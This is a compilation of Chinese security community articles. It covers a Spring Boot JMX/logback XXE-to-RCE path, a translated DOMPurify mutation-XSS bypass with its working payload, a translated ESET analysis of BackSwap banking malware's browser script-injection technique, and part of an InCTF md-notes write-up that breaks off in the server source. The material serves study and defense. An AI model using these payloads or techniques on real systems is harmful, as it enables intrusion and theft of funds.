首先这个类名就很有意思 JMXConfigerator ，和 JMX 的配置有关，函数中也有个 reloadByURL
，从名字就能会意出通过远程加载配置文件并且重启配置23333
先查看 reloadByURL 函数
如上图，它的参数是一个 URL 类型的，我们传入进去只能是 String，但是不用方，ExecHandler 的 doHandRequest
当中会对目标函数的参数类型做适配，将 String 转换成 URL 。
但是这里有个问题，因为需要指定 schema ，所以必须有类似 http:// 这样的开头，而我们的 path 进去以后，会用 /
切割分组的，所以就需要用到前面的流程中对 uri 的处理过程，只需要这样请求就好： `http:!/!/`
跟入 doConfigure 函数
从 url 获取返回流传入下一个 doConfigure 函数，这里也能 ssrf 的
跟进函数如下：
继续跟进上图中的红色方框如下
如上图所示，在调用 recordEvents 的时候带入了输入流，这个输入流是我们可控的，即在自己服务器上放置的 xml 文件， xml
解析的过程就是发生在 recordEvents
的执行过程中，而后红框的调用，是对已经解析完成的内容进行一定的逻辑操作，然后重载配置，后面的过程就不分析了，简单的去看一下 recordEvents
执行过程，如下
很简单，build 完成后直接 parse，那我们查看一下 build 的时候是否有做防护，如下
什么防护和限制都莫得，所以这里也可以造成 xxe
那么到现在为止，只是梳理出来了 xxe 的触发，rce 呢
不方，我们查一查 logback insertFormJNDI 标签
其中的 env-entry-name 就是指向 jndi 的服务器地址，那么这里我们可以换成自己的恶意 jndi 服务器地址，通过 jndi 触发 java
反序列化，最终导致 RCE
### 链接
<https://blog.csdn.net/qq_24607837/article/details/83785878>
<https://www.veracode.com/blog/research/exploiting-spring-boot-actuators> | 社区文章 |
# 通过混淆命名空间绕过DOMPurify实现XSS
|
##### 译文声明
本文是翻译文章，文章原作者 MICHAŁ BENTKOWSKI，文章来源：securitum
原文地址：<https://research.securitum.com/mutation-xss-via-mathml-mutation-dompurify-2-0-17-bypass/>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
在本文中，我将与大家分享如何绕过[DOMPurify](https://github.com/cure53/DOMPurify/)。DOMPurify是一款常用的HTML过滤库，可以处理（来自用户的）不受信任的HTML片段，删除可能导致XSS的所有元素及属性。
简而言之，最终的绕过方法如下：
<form>
<math><mtext>
</form><form>
<mglyph>
<style></math><img src onerror=alert(1)>
以上代码没有任何冗余元素。为了理解具体的绕过原理，我们需要了解一下HTML规范中的一些有趣功能。
## 0x01 DOMPurify用法
我们先从基础开始，看一下DOMPurify的通常用法。假设我们在`htmlMarkup`中包含一段不可信的HTML，并且需要将其赋值给某个`div`，此时我们可以使用DOMPurify来过滤这段内容，赋值给`div`：
div.innerHTML = DOMPurify.sanitize(htmlMarkup)
在解析、序列化HTML以及处理DOM树时，这行代码背后实际上会执行如下操作：
1、`htmlMarkup`被解析成DOM树；
2、DOMPurify过滤DOM树（简而言之，这个过程中DOMPurify会遍历DOM树中的所有元素以及属性，删除不在允许列表中的所有节点）；
3、DOM树被序列化回HTML内容；
4、赋值给`innerHTML`后，浏览器会再次解析HTML内容；
5、经过解析的DOM树会被附加到文档的DOM树中。
来看个简单例子。假设我们初始的内容的`A<img src=1 onerror=alert(1)>B`。在第1个步骤中，该片段会被解析成如下树结构：
随后，经过DOMPurify过滤后，得到如下DOM树：
序列化后的结果为：
A<img src="1">B
这也是`DOMPurify.sanitize`的返回结果。随后这段内容会由浏览器再次解析，赋值给`innerHTML`：
DOM树与DOMPurify处理的DOM树一致，随后会被附加到目标文档中。
因此，以上过程可以按顺序简单总结成：解析->序列化->解析。大家从直觉上会认为DOM树经过序列化、再次解析后，应该会返回初始的DOM树，但事实并非如此。在HTML规范中，关于序列化HTML片段方面有如下警告信息：
>
> 这种算法（序列化HTML）的输出结果如果交给HTML解析器进行解析时，则可能不会返回原始的树结构。HTML解析器本身也有可能输出经过序列化、重解析操作后无法复原的树结构，虽然这种情况下通常不符合要求。
这里要划重点的是，这种序列化、重新解析的往复操作并不一定能返回原始的DOM树（这也是造成mutation
XSS（突变型XSS）的根源）。通常情况下，这类情况由某些解析器、序列化器的错误而导致，但有两种情况比较特殊，符合上述警告信息所描述的场景。
## 0x02 嵌套FORM元素
其中有种场景与FORM元素有关。这是HTML中非常特殊的一个元素，该元素无法嵌套到自身中。在HTML规范中，[明确说明](https://html.spec.whatwg.org/#the-form-element)FORM元素不可以是某个FORM元素的后继：
我们可以使用如下标记语言，通过各种浏览器来验证：
<form id=form1>
INSIDE_FORM1
<form id=form2>
INSIDE_FORM2
这个片段会生成如下DOM树：
第2个`form`在DOM树中会被完全忽略，就像从来没存在过一样。
接下来是比较有趣的部分。如果我们继续阅读HTML规范，会发现其中给出了一个示例，通过较不规范以及错误嵌套的标记成功创建了一个嵌套式表单。如下所示（直接摘抄自规范文档）：
<form id="outer"><div></form><form id="inner"><input>
结果会生成如下DOM树，其中包含一个嵌套式表单元素：
这并不是特定浏览器的bug，直接来自于HTML规范，在解析HTML的算法中也有描述。通常的原理为：
1、当我们打开`<form>`标签时，浏览器需要使用表单元素指针（标准中就是这么称呼）来记录该标签已被打开。如果该指针不为`null`，那么`form`元素就无法被创建。
2、当我们结束`<form>`标签时，表单元素指针始终会设置为`null`。
因此，回到这个片段：
<form id="outer"><div></form><form id="inner"><input>
首先，表单元素指针会指向`id="outer"`的元素，然后开始解析`div`，碰到`</form>`结束标签后，表单元素指针会被设置为`null`。由于指针为`null`，因此`id="inner"`的下一个表单可以被创建。由于目前我们位于`div`内，因此可以成功创建一个嵌套式`form`。
现在，如果我们尝试序列化生成的DOM树，会得到如下标记语言：
<form id="outer"><div><form id="inner"><input></form></div></form>
需要注意的是，这次其中并没有包含任何错误嵌套的标记。当这个片段再次被解析时，会创建如下DOM树：
以上可以表明，经过序列化、重解析后，我们并不一定能返回原始的DOM树。更有趣的是，这是符合标准的一种突变情况。
当我发现到这一点后，意识到有可能滥用这种特性来绕过HTML过滤器。经过长时间思索后，我偶然发现了在HTML规范中存在另一个异常点。在继续讨论这个问题前，我们先来聊聊HTML规范中我最喜欢的一个潘多拉魔盒：外部内容（foreign
content）。
## 0x03 外部内容
外部内容就像一把瑞士军刀，可以用来破坏解析器及过滤器。我之前曾在[DOMPurify的绕过方式](https://research.securitum.com/dompurify-bypass-using-mxss/)以及[Ruby过滤库的绕过方式](https://research.securitum.com/html-sanitization-bypass-in-ruby-sanitize-5-2-1/)中用过这种方法。
HTML解析器可以使用3个命名空间元素来创建DOM树：
* HTML命名空间（[http://www.w3.org/1999/xhtml）](http://www.w3.org/1999/xhtml%EF%BC%89)
* SVG命名空间（[http://www.w3.org/2000/svg）](http://www.w3.org/2000/svg%EF%BC%89)
* MathML命名空间（[http://www.w3.org/1998/Math/MathML）](http://www.w3.org/1998/Math/MathML%EF%BC%89)
默认情况下，所有元素都位于HTML命名空间中。然而，如果解析器遇到了`<svg>`或者`<math>`元素，就会“切换到”SVG以及MathML命名空间。这些命名空间都会产生外部内容。
在外部内容中，标记语言的解析过程与普通的HTML不一样。在解析`<style>`元素时能更清晰地看到这种不同点。在HTML命名空间中，`<style>`只能包含文本，没有后继，并且HTML实体不会被解码。而在外部内容中并非如此：外部内容的`<style>`可以包含子元素，实体也会被解码。
考虑如下标记语言：
<style><a>ABC</style><svg><style><a>ABC
会被解析成如下DOM树：
> 备注：从现在开始，本文中DOM树内的所有元素都将包含一个命名空间。因此，`html style`表示HTML命名空间中有个`style`元素，而`svg
> style`表示SVG命名空间中有个`<style>`元素。
生成的DOM树也验证了我的分析：`html style`只包含文本内容，而`svg style`在会像普通元素一样被解析。
继续分析，我们很自然就会猜想：如果我们位于`<svg>`或者`<math>`中，那么所有元素也会位于非HTML命名空间中，然而事实并非如此。HTML标准中包含名为
**MathML text integration point** （MathML文本集成点）以及 **HTML integration point**
（HTML集成点）的元素，这些元素的子元素都具有HTML命名空间（但某些情况除外，下面我会列出来）。
考虑如下示例：
<style></style>
<mtext><style></style>
以上内容会被解析成如下DOM树：
请注意观察，在MathML命名空间中，`style`元素是`math`的直接子元素，而`mtext`中的`style`元素则处于HTML命名空间中。这是因为`mtext`属于MathML文本集成点，因此解析器会切换命名空间。
MathML文本集成点包括：
* `math mi`
* `math mo`
* `math mn`
* `math ms`
HTML集成点包括：
* `math annotation-xml`，如果其包含`encoding`属性，并且属性值等于`text/html`或者`application/xhtml+xml`
* `svg foreignObject`
* `svg desc`
* `svg title最后`
我曾经坚信MathML文本集成点或者HTML集成点的所有子元素默认情况下都具有HTML命名空间，事实狠狠打了我的脸。HTML规范指出，默认情况下，MathML文本集成点的子元素都位于HTML命名空间中，但有两种情况除外：`mglyph`以及`malignmark`。只有当这两者是MathML文本集成点的直接子元素时才会触发例外情况。
来考虑如下标记语言：
<mtext>
<mglyph></mglyph>
<a><mglyph>
请注意，`mglyph`为`mtext`的直接子元素，位于MathML命名空间中，而另一个`mglyph`则为`html`的子元素，位于HTML命名空间中。
假设我们面对的是一个“当前元素”，想确定其命名空间。此时我已经制定了一些经验法则：
1、当前元素位于其父元素的命名空间中，除非满足如下条件。
2、如果当前元素为`<svg>`或者`<math>`，并且其父元素位于HTML命名空间中，那么当前元素则位于SVG或者MathML命名空间中。
3、如果父元素或者当前元素为HTML集成点，那么除非当前元素为`<svg>`或者`<math>`，否则将位于HTML命名空间中。
4、如果父元素或者当前元素为MathML集成点，那么除非当前元素为`<svg>`、`<math>`、`<mglyph>`或者`<malignmark>`，否则将位于HTML命名空间中。
5、如果当前元素为`<b>`、`<big>`、`<blockquote>`、`<body>`、`<br>`、`<center>`、`<code>`、`<dd>`、`<div>`、`<dl>`、`<dt>`、`<em>`、`<embed>`、`<h1>`、`<h2>`、`<h3>`、`<h4>`、`<h5>`、`<h6>`、`<head>`、`<hr>`、`<i>`、`<img>`、`<li>`、`<listing>`、`<menu>`、`<meta>`、`<nobr>`、`<ol>`、`<p>`、`<pre>`、`<ruby>`、`<s>`、`<small>`、`<span>`、`<strong>`、`<strike>`、`<sub>`、`<sup>`、`<table>`、`<tt>`、`<u>`、`<ul>`、`<var>`或者`<font>`，并且定义了`color`、`face`或者`size`属性，那么栈上的所有元素都会被闭合，直至碰到MathML文本集成点、HTML集成点或者HTML命名空间中的元素为止。然后，当前元素也会位于HTML命名空间中。
当我在HTML规范中找到`mglyph`这个瑰宝时，马上就意识到这是滥用`html form`突变来绕过过滤器的绝佳方法。
## 0x04 绕过DOMPurify
现在让我们回到绕过DOMPurify的payload上来：
<form><math><mtext></form><form><mglyph><style></math><img src onerror=alert(1)>
这个payload用到了错误嵌套的`html form`元素，也包含`mglyph`元素，会生成如下DOM树：
这个DOM树人畜无害，所有元素都位于DOMPurify的允许列表中。要注意的是，`mglyph`位于HTML命名空间中，而看上去像是XSS的payload则是`html
style`中的一个文本。由于这里有个嵌套`html form`，因此在重解析时会出现突变。
因此这里DOMPurify不会执行任何操作，会返回经过序列化的HTML：
<form><math><mtext><form><mglyph><style></math><img src onerror=alert(1)></style></mglyph></form></mtext></math></form>
这个片段包含嵌套`form`标签，因此当被赋值给`innerHTML`时，会被解析成如下DOM树：
因此现在第二个`html
form`没有被创建，`mglyph`为`mtext`的直接子元素，意味着其位于MathML命名空间中。因此，`style`同样位于MathML命名空间中，其内容也不会被当成文本来解析。随后，`</math>`会闭合`<math>`元素，现在`img`会在HTML命名空间中创建，导致XSS。
## 0x05 总结
总结一下，这种绕过方式主要结合了以下几点：
1、DOMPurify的典型使用场景导致HTML标记语言被解析两次。
2、HTML规范中包含特殊情况，可以用来创建嵌套`form`元素。然而在重新解析时，第二个`form`会被忽略。
3、`mglyph`以及`malignmark`是HTML标准中的特殊元素。如果这两者为MathML文本集成点的直接子元素，那么即使其他标签默认情况下位于HTML命名空间中，这两者也将处于MathML命名空间中。
4、结合上述几点，我们可以创建一段标记语言，其中包含2个`form`元素以及初始位于HTML命名空间的`mglyph`元素，在重新解析时，后者将位于MathML命名空间中，使后续的`style`标签采用不同方式解析，导致XSS。
当Cure53针对我的绕过方式进行更新后，大家又找到了另一种绕过方式：
大家可以研究下为什么这个payload能行之有效。我提示一下：其原理与我在本文中找到的bug一样。
这种绕过方式也让我意识到，如下模式很容易造成XSS突变：
div.innerHTML = DOMPurify.sanitize(html)
这由整体的设计思路所决定，因此找到另一个例子也只是时间问题。这里我强烈建议大家在使用DOMPurify时，传入`RETURN_DOM`或者`RETURN_DOM_FRAGMENT`选项，这样就不会执行序列化、再解析的过程。 | 社区文章 |
# 使用新型技术绕过浏览器防护：BackSwap家族银行恶意软件详细分析
|
##### 译文声明
本文是翻译文章，文章来源：https://www.welivesecurity.com/
原文地址：<https://www.welivesecurity.com/2018/05/25/backswap-malware-empty-bank-accounts/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在近几年之中，银行恶意软件（英文称为Banking
Malware或Banker）持续流行。由于反恶意软件产品和网络浏览器不断增强其防范银行木马攻击的保护机制，导致传统的银行恶意软件越来越难以实现欺诈。因此，恶意软件作者为了实现收益的最大化，开始逐步将其精力和资源投入到更易于开发和更有利可图的恶意软件，例如勒索软件、加密货币挖矿软件和加密货币窃取软件。
近期，我们发现了一个新的银行恶意软件家族，该恶意软件使用新型技术来对浏览器进行操控——恶意软件并没有采用复杂的进程注入方式来监控浏览器活动，而是对关键窗口的消息循环事件进行挂钩（Hook），从而发现与银行相关窗口对象的相应值。
一旦检测到银行相关的业务活动，恶意软件就会将恶意JavaScript注入到网页之中，这一过程是通过浏览器的JavaScript控制台或者直接修改地址栏来实现的，所有这些操作都在用户不知情的情况下完成。这是一个看似简单的技巧，但实际上却击败了所有针对复杂攻击而设置的高级浏览器保护机制。
## 简介
早在今年1月，我们就注意到这个银行恶意软件背后的组织正在传播他们早期开发的项目，其中之一就是恶意软件，该恶意软件通过替换剪贴板中的钱包地址来实现加密货币的窃取。该组织长达几个月都在专注于剪贴板恶意软件，最终于3月13日发布了第一版银行恶意软件，该恶意软件被ESET检测为Win32
/ BackSwap.A。
从时间轴上来看，与以前的项目相比，后续发布项目的检测率直线上升。该组织一直专注于银行恶意软件的开发工作，几乎每天都会推出新版本，只在周末休息。
## 分发和执行
该系列银行恶意软件通过电子邮件的方式进行分发，在邮件中包含一个称为Nemucod家族的JavaScript下载程序，该程序经过了复杂的混淆。这一系列恶意邮件活动只针对波兰地区的特定用户。
很多情况下，被感染主机也会被检出存在Win32/TrojanDownloader.Nymaim下载程序，该下载程序似乎是采用了类似方法进行传播的。在撰写本文时，我们还暂不清楚这究竟只是一个巧合，还是这两个恶意软件家族存在直接的关联。
该恶意软件的Payload，是通过对一个合法应用程序进行部分覆盖，产生一个修改版本的合法应用程序，从而实现交付的。被选择作为合法应用程序的目标会定期发生变化，此前曾经使用过TPVCGateway、SQLMon、DbgView、WinRAR
Uninstaller、7Zip、OllyDbg和FileZilla
Server。该应用程序被修改为在其初始化期间跳转到恶意代码。具体而言，恶意软件通过将指向恶意Payload的指针添加到_initterm()函数表中来实现跳转，该函数表是C运行时库（C
Run-Time Library）内部的一部分，用于在main()函数被调用前，对所有需要的全局变量和程序的其他部分进行初始化。
指向银行恶意软件Shellcode指针的合法应用程序中_initterm指针数组：
恶意软件所使用的这种方法，可能会让我们想起来“Trojanization（木马化）”方法。但其不同之处在于，原来的应用程序将不再有效，一旦控制流转移到恶意软件，就不会再返回到原始代码。因此，他们的目的不是在于让用户认为他们运行了合法的应用程序，而是为了隐藏恶意软件，防止恶意软件被分析或检测到。事实证明这一点是有效的，由于许多逆向工程工具（例如IDA
Pro）都会将原始main()函数显示为应用程序代码的合法开始部分，因此分析人员可能第一眼不会发现任何可疑内容，所以也就难以发现该恶意软件。
Payload是一个处于独立位置的代码块，其所有数据都嵌入到Payload之中。字符串是以明文方式存储，因为所有需要的Windows
API在运行时都会以哈希的方式进行查找，也在一定程度上破坏了其非常小的特点。恶意软件首先会将自身复制到启动文件夹中（Startup），以确保其持久性，然后再继续执行其银行相关的恶意功能。
## 常规注入方法
为了从被感染用户的网上银行账户中窃取资金，典型的银行恶意软件会将其自身或特定的银行恶意软件模块注入到浏览器进程地址空间中。由于多方面的原因，这一过程并不容易。首先，如前所述，注入过程可能会被第三方安全解决方案拦截。此外，注入模块还需要匹配浏览器的架构，32位模块不能注入到64位浏览器进程中，反之也同样。这也就导致了银行木马必须要同时带有两个版本的模块，从而同时支持32位和64位的浏览器。
当成功注入后，银行恶意软件模块需要查找浏览器中特定的函数，并对其进行挂钩。恶意软件会分别查找负责在加密前和解密后以明文形式发送和接收HTTP请求的函数。查找这些函数的难度因浏览器而异。对于Mozilla
Firefox来说，这些函数由nss3.dll导出，并且相应的名称已经公开，从而可以通过广为人知的名称来轻松查找出它们的地址。对于Google
Chrome和其他基于Chromium的浏览器来说，就显得尤为困难，因为浏览器隐藏了这些函数，并且在二进制代码中深入实现相应功能，这就使其很难被找到。上述差异迫使恶意软件的作者要针对不同的浏览器版本，考虑不同的方法和模式。一旦浏览器出现新版本，通常也要采取新的方法和模式。
在找到正确的函数并且成功进行挂钩（Hook）之后，银行木马就可以开始修改HTTP流量，或者将被感染用户重定向到另一个伪造的银行网站，同时也会伪造一个合法的证书。但在这里，还存在一个风险，安全解决方案同样可以检测到挂钩的行为。目前活跃在网络上的多个银行木马都采取了与之类似的技术，例如Dridex（
<https://www.welivesecurity.com/2018/01/26/friedex-bitpaymer-ransomware-work-dridex-authors/> ）、Ursnif、Zbot、Trickbot、Qbot（
<https://www.virusbulletin.com/uploads/pdf/conference_slides/2017/Kalnai-VB2017-browser-attack-points-trojans.pdf> ）等。
## 新型浏览器操控技术
我们本次分析的Win32/BackSwap.A银行恶意软件则采用了一个完全不同的方法。它通过使用Windows
GUI元素和模拟用户输入的方式来处理所有任务。这一方法可能看上去微不足道，但实际上是一个非常强大的技术，可以解决使用传统浏览器注入技术遇到的很多“困境”。首先，恶意软件根本不会在进程级别与浏览器进行交互，这意味着它不需要任何特殊权限，也不需要绕过浏览器已有的任何第三方强化，上述两点通常是传统注入方式所要重点关注的部分。此外，这种新型技术对攻击者来说还存在另外一个优势，代码不依赖于浏览器的体系结构或者具体版本，并且一个代码路径可以适用于所有的浏览器。
恶意软件借助Windows消息循环（Windows Message Loop），安装针对特定范围的事件钩子（Event
Hook），从而监控当前正在访问的URL。相关的事件例如EVENT_OBJECT_FOCUS、EVENT_OBJECT_SELECTION、EVENT_OBJECT_NAMECHANGE和其他的一些。钩子将会从事件的IAccessible接口调用get_accValue方法以检索“https”开头的字符串，从而查找到固定模式的URL。
用于从浏览器中检索出当前访问URL的技术，通过检查“https”子字符串（红色标记部分）来实现检索：
然后，恶意软件将在浏览器中找出与银行相关的URL和窗口标题，从而诱导被感染用户进行网络转账。
恶意软件查找与银行相关的特定字符串，其中第一个字符串是窗口标题，第二个字符串是URL中的一部分：
一旦识别出来特定字符串，银行恶意软件就会从其资源中加载相应银行的恶意JavaScript，并将其注入到浏览器中。脚本注入的过程也以简单而有效的方式来完成。
在较旧的样本中，恶意软件会将恶意脚本注入到剪贴板中，并模拟按下打开开发人员控制台的组合键（Google Chrome中为CTRL + SHIFT +
J，Mozilla Firefox中为CTRL + SHIFT + K），然后按下CTRL +
V粘贴剪贴板的内容，随后按下ENTER执行控制台的内容，最后再次发送控制台组合键以关闭控制台。在上述整个过程中，浏览器窗口会变为不可见。对于普通用户来说，他们看起来好像是浏览器暂时卡住了。
在新的浏览器变种中，这种方法得到了升级。新变种中，恶意软件不再与开发者控制台进行交互，而是通过JavaScript协议URL（
<https://msdn.microsoft.com/en-us/library/aa767736(v=vs.85).aspx>
）直接从地址栏执行恶意脚本——这是一个大多数浏览器都支持，但很少被使用的功能。在这里，恶意软件只会模拟按下CTRL +
L键来选择地址栏，然后按DELETE键清除该字段，之后通过在循环中调用SendMessageA的方式输入“javascript:”，随后使用CTRL +
V粘贴恶意脚本，并发送ENTER键以执行该脚本。在完成上述步骤后，恶意软件会清空地址栏，以消除任何被感染的迹象。
在下图中，我们可以看到一部分控制台注入代码。首先，恶意软件通过检查前置窗口的类名（蓝色标记部分）来确定浏览器。随后，恶意JavaScript将被复制到剪贴板（红色标记部分）。之后，将浏览器窗口的不透明度更改为3，从而将其隐藏（紫色标记部分）。最后，ToggleBrowserConsole函数负责打开和关闭浏览器的控制台（绿色标记部分）。
Win32/BackSwap.A能够针对Google Chrome和Mozilla
Firefox实现上述攻击，并且在最近的版本中，其作者还加入了对Internet
Explorer的支持。不过，只要是具有JavaScript控制台或者支持从地址栏执行JavaScript的浏览器，理论上就都可以实现上述攻击。目前，这两种对JavaScript的支持都作为了浏览器的标准功能之一，因此现在的大多数浏览器都能够借助这种新型方法实现攻击。
该恶意软件所支持的三种浏览器，都具有一个有趣的保护功能（
<https://blogs.msdn.microsoft.com/ieinternals/2011/05/19/socially-engineered-xss-attacks/> ），这最初是为了避免受到Self-XSS攻击（ <https://en.wikipedia.org/wiki/Self-XSS>
）而设计的：当用户尝试以“javascript:”开头的文本粘贴到地址栏时，协议签注将会被删除，用户需要手动将该协议前缀输入到地址栏中，才能够实际执行脚本。针对这种保护功能，Win32/BackSwap.A采取了模拟在地址栏中逐字符键入前缀的方式，从而成功绕过。
Mozilla
Firefox还采用了另外一个防护策略，该浏览器默认情况下不允许将脚本粘贴到控制台中，而会显示一条信息，警告用户相关风险，并强制用户先输入“Allow
Pasting”（允许粘贴）。通过执行如下图所示的Shell命令，恶意软件绕过了该防护策略，在命令中修改了prefs.js配置文件，并删除了这一策略。
## 恶意JavaScript
由于各个银行网站都不相同，并且有不同的源代码和变量，因此银行恶意软件会针对每个目标银行，执行为其“量身定制”的脚本。这些脚本被注入到特定页面中，这些页面通常是发起汇款请求的页面（例如缴纳公共事业费用），相应的页面会被恶意软件自动识别出来。当被感染用户决定支付款项时，该付款将被发送给攻击者。在这种情况下，任何防止未经授权付款的安全措施（例如双因素认证）都将无济于事，因为此时用户主观上是需要支付这笔款项的。
Win32/BackSwap.A共针对五家波兰的银行设计了恶意脚本，分别是：PKO Bank Polski、Bank Zachodni WBK
S.A.、mBank、ING和Pekao。恶意软件作者有时会从目标列表中删除一些银行，例如在最新版本中就只剩下了PKO Bank
Pilski、mBank和ING这三家银行。在旧版本恶意软件中，攻击者会从C&C服务器上检索收款银行的账号，这些C&C服务器被托管在黑客入侵后的WordPress网站上。但在最近的版本中，恶意软件开发者将这些账号直接储存在恶意脚本之中。相关银行账号的变化非常频繁，几乎每一次恶意活动都具有一个新的银行账号。
如下图所示，银行恶意软件只会对一定范围内的转账金额进行窃取，这一范围通常在10000-20000波兰兹罗提（约合人民币17300-34600元）之间。该脚本会对原始的收款银行账号进行替换，并且还以原始银行账号覆盖输入字段，用户看到的是一个正确的账号，所以不会产生任何怀疑。
下图为部分恶意JavaScript代码，红色标记的是检查转账金额并替换收款人银行账号的部分：
## 总结
Win32/BackSwap.A向我们生动地说明了，在安全领域与银行恶意软件开发者的持续对抗中，新的恶意技术往往不需要具有极高的复杂程度。我们认为，随着浏览器不断增加对传统代码注入的保护，恶意软件作者会逐步以不同的方式来实现对浏览器的攻击，而Win32/BackSwap.A只是向我们展现了其中的一种可能性。
ESET系列产品将该威胁检测为Win32/BackSwap.A木马病毒。我们已经通知受影响的浏览器厂商关注本文所涉及的脚本注入技术。
最后，特别感谢Paweł Śmierciak对于发现这一恶意软件家族及分析过程中提供的帮助。
## IoC
JS/Nemucod.EAN trojan：
9BC4C1D5403DDD90712CE87225490A21D1EDC516
Win32/BackSwap.A trojan：
CF5A74C268661501156663F74CD5E20603B0F261
Win32/BackSwap.A trojan：
6251F9AD0E5F551AC4A6B918EF366E86C4CCFDC4
Win32/BackSwap.A trojan：
2DC9760A7C6E9D261C73EFB7B2604840734BC058
Win32/BackSwap.A trojan (JavaScript)：
A68901D0D8C1247FF280F9453E3AE45687C57566 | 社区文章 |
# InCTF 复现
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者:DR[@03](https://github.com/03 "@03")@星盟
## md-notes
### 环境搭建
#### docker遇到报错1
Sending build context to Docker daemon 32.26kB
Step 1/16 : FROM golang:alpine
—-> cfae2977b751
Step 2/16 : RUN apk —no-cache add build-base
—-> Running in edbf89a8989c
fetch <https://dl-cdn.alpinelinux.org/alpine/v3.14/main/x86_64/APKINDEX.tar.gz>
WARNING: Ignoring <https://dl-cdn.alpinelinux.org/alpine/v3.14/main>:
temporary error (try again later)
fetch <https://dl-cdn.alpinelinux.org/alpine/v3.14/community/x86_64/APKINDEX.tar.gz>
WARNING: Ignoring <https://dl-cdn.alpinelinux.org/alpine/v3.14/community>:
temporary error (try again later)
ERROR: unable to select packages:
build-base (no such package):
required by: world[build-base]
The command ‘/bin/sh -c apk —no-cache add build-base’ returned a non-zero
code: 1
#### 解决方法1
换源
在第二句上面增加一句RUN sed -i ‘s/dl-cdn.alpinelinux.org/mirrors.aliyun.com/g’
/etc/apk/repositories
#### docker遇到报错2
然后问题是go:
github.com/gomarkdown/[[email protected]](mailto:[email protected])-20210514010506-3b9f47219fe7:
Get “<a
href=”https://proxy.golang.org/github.com/gomarkdown/markdown/[@v](https://github.com/v
"@v")/v0.0.0-20210514010506-3b9f47219fe7.mod””>https://proxy.golang.org/github.com/gomarkdown/markdown/@v/v0.0.0-20210514010506-3b9f47219fe7.mod“:
dial tcp 142.251.43.17:443: connect: connection refused
#### 解决方法2
如链接所做
[[go学习]解决golang.org无法访问的问题_zhagzheguo的博客-CSDN博客_golang.org](https://blog.csdn.net/zhagzheguo/article/details/102570450)
### 做题
#### 信息搜集
这是一个markdown界面，一般考点在于xss和csrf。
由于是ctf题目，所以不进行端口和whois等信息搜集。
可以尝试路径爆破。
比赛时，我没有尝试过，现在复现时，发现存在很多可知路径，可能是环境搭建的原因，故不深究。部分回显如下
当然，还可以看看有没有源码泄露，备份文件泄露等内容。这里不做尝试，但是这些步骤确实在比赛中应该存在。
##### app.js
这道题得到的信息来源在于源码，存在app.js
app.js存在网站运行逻辑
let preview = document.getElementById("preview"),
save = document.getElementById("save"),
textarea = document.getElementById("input-area"),
frame = document.getElementById("frame-area"),
status = document.getElementById("status"),
token = undefined;
alert = function(msg) {
status.innerText = "Info: " + msg;
}
preview.onclick = function() {
console.log("Sending Preview..")
frame.contentWindow.postMessage(textarea.value, `http://${document.location.host}/`);
return false;
}
save.onclick = function() {
if (token == undefined)
{
alert("Preview before saving!")
} else {
fetch("/api/create", {
method: "POST",
credentials: "include",
body: JSON.stringify({
Hash: token,
Raw: textarea.value
})
}).then(resp => resp.json())
.then(response => {
if (response["Status"] != "success") {
alert("Could not save markdown.")
} else {
alert("Saved post to : " + response["Bucket"] + "/" + response["PostId"])
frame.src = `http://${document.location.host}/${response['Bucket']}/${response["PostId"]}`
}
console.log(response)
token = undefined
});
}
return false;
}
window.addEventListener("message", (event) => {
if (event.origin != window.origin)
{
console.log("Error");
return false;
}
data = event.data
textarea.value = data["Raw"]
token = data["Hash"]
});
preview就是将框内内容传到特定网址，且我们不能改变。
save就是向create POST传参接收bucket和postid作为路径
##### preview.js
除此之外，在页面源代码中还有一个路径/demo
访问后得到preview.js
let area = document.getElementById("safe")
window.addEventListener("message", (event) => {
console.log("Previewing..")
let raw = event.data
fetch("/api/filter", {
method: "POST",
credentials: "include",
body: JSON.stringify({
raw: raw
})
})
.then(resp => resp.json())
.then(response => {
console.log("Filtered")
document.body.innerHTML = response.Sanitized
window.parent.postMessage(response, "*");
});
}, false);
向filter POST传参
经过过滤的内容，作为html插入网站
还有window.parent.postMessage
这就是一个漏洞点
在[window.postMessage – Web API 接口参考 | MDN
(mozilla.org)](https://developer.mozilla.org/zh-CN/docs/Web/API/Window/postMessage)中提到
**当您使用postMessage将数据发送到其他窗口时，始终指定精确的目标origin，而不是*。**
而这道题恰恰使用了*，所以我们可以接收到postmessage的内容。
那么postmessage存在哪些内容呢
我们可以抓包看看
有hash值，sanitizedhtml语句和语句raw。
我们要想访问flag，就需要获取admin的token。
##### server.go
package main
import (
"os"
"fmt"
"log"
"html"
"time"
"strconv"
"net/http"
"io/ioutil"
"math/rand"
"encoding/hex"
"database/sql"
"encoding/json"
"html/template"
"crypto/sha256"
"github.com/gorilla/mux"
"github.com/nu7hatch/gouuid"
"github.com/gorilla/handlers"
_ "github.com/mattn/go-sqlite3"
"github.com/gomarkdown/markdown"
)
var indexTmpl = template.Must(template.ParseFiles("./templates/index.html"))
var previewTmpl = template.Must(template.ParseFiles("./templates/preview.html"))
type Unsanitized struct {
Raw string `json:"raw"`
}
type Sanitized struct {
Sanitized string `json:Sanitized`
Raw string `json:Raw`
Hash string `json:Hash`
}
type Preview struct {
Error string
Data template.HTML
}
type CreatePost struct {
Raw string
Hash string
}
type Config struct {
admin_bucket string
admin_token string
admin_hash string
secret string
modulus int
seed int
a int
c int
}
var CONFIG Config
var db *sql.DB
func createToken() (string, string) {
token, _ := uuid.NewV4()
h := sha256.New()
h.Write([]byte(token.String() + CONFIG.secret))
sha256_hash := hex.EncodeToString(h.Sum(nil))
return string(sha256_hash), token.String()
}
func verifyToken(token, input string) bool {
h := sha256.New()
h.Write([]byte(token + CONFIG.secret))
sha256_hash := hex.EncodeToString(h.Sum(nil))
if string(sha256_hash) == input {
return true
}
return false
}
func getadminhash() string {
token := CONFIG.admin_token
h := sha256.New()
h.Write([]byte(token + CONFIG.secret))
sha256_hash := hex.EncodeToString(h.Sum(nil))
log.Println("Generated admin's hash ", sha256_hash)
return string(sha256_hash)
}
func save_post(bucket, data string) int {
postid := ((CONFIG.seed * CONFIG.a) + CONFIG.c) % CONFIG.modulus
CONFIG.seed = postid
stmt, _ := db.Prepare("INSERT INTO posts(postid, bucket, note) VALUES (?, ?, ?)")
stmt.Exec(postid, bucket, data)
return postid
}
func sanitize(raw string) string {
return html.EscapeString(raw)
}
func indexHandler(w http.ResponseWriter, r *http.Request) {
indexTmpl.Execute(w, nil)
}
